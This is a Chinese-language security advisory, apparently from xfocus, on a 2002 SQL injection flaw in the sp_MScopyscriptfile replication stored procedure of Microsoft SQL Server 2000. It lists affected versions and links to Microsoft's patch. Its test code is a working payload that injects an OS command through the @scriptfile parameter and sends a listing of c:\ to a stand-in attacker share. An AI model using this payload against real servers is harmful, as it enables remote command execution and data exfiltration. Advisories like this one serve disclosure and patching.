xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft SQL Server 2000 Replication存储过程可插入漏洞


发布时间:2002-07-27
更新时间:2002-07-27
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:5309
CVE(CAN) ID:CVE-2001-0645

受影响系统
Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
   - Microsoft Windows 2000 Workstation
   - Microsoft Windows 2000 Workstation SP1
   - Microsoft Windows 2000 Workstation SP2
   - Microsoft Windows NT 4.0 SP5
   - Microsoft Windows NT 4.0 SP6
   - Microsoft Windows NT 4.0 SP6a
Microsoft SQL Server 2000
   - Microsoft Windows 2000 Workstation
   - Microsoft Windows 2000 Workstation SP1
   - Microsoft Windows 2000 Workstation SP2
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0 SP5
   - Microsoft Windows NT 4.0 SP6
   - Microsoft Windows NT 4.0 SP6a
Microsoft SQL Server 2000 Desktop Engine
   + Microsoft Visio Enterprise Network Tools
详细描述
Microsoft SQL Server 2000在复制的时候包含两个过程,攻击者可以操作输入提供恶意参数给存储过程,可导致执行任意命令。

Sp_MScopyscriptfile存储过程是复制操作的存储过程之一,存在SQL插入漏洞,Sp_MScopyscriptfile存储过程可以SQL服务器复制的目录,并拷贝脚本文件到这个目录中,其中之一的输入参数@scriptfile是要拷贝脚本文件的名称,在这个参数中可以使用OS命令进行插入,然后执行by xp_cmdshell.

要成功利用这个漏洞需要有SQL Server Agent Proxy帐户,默认没有开启。

测试代码
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''

解决方案
补丁下载:

Microsoft SQL Server 2000 SP2:

Microsoft Patch Q316333
http://support.microsoft.com/default.aspx?scid=http://download.microsoft.com/download/SQLSVR2000/Update/8.00.0650/W98NT42KMeXP/EN-US/8.00.0650_enu.exe

相关信息
参考:http://archives.neohapsis.com/archives/bugtraq/2002-07/0317.html
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-038.asp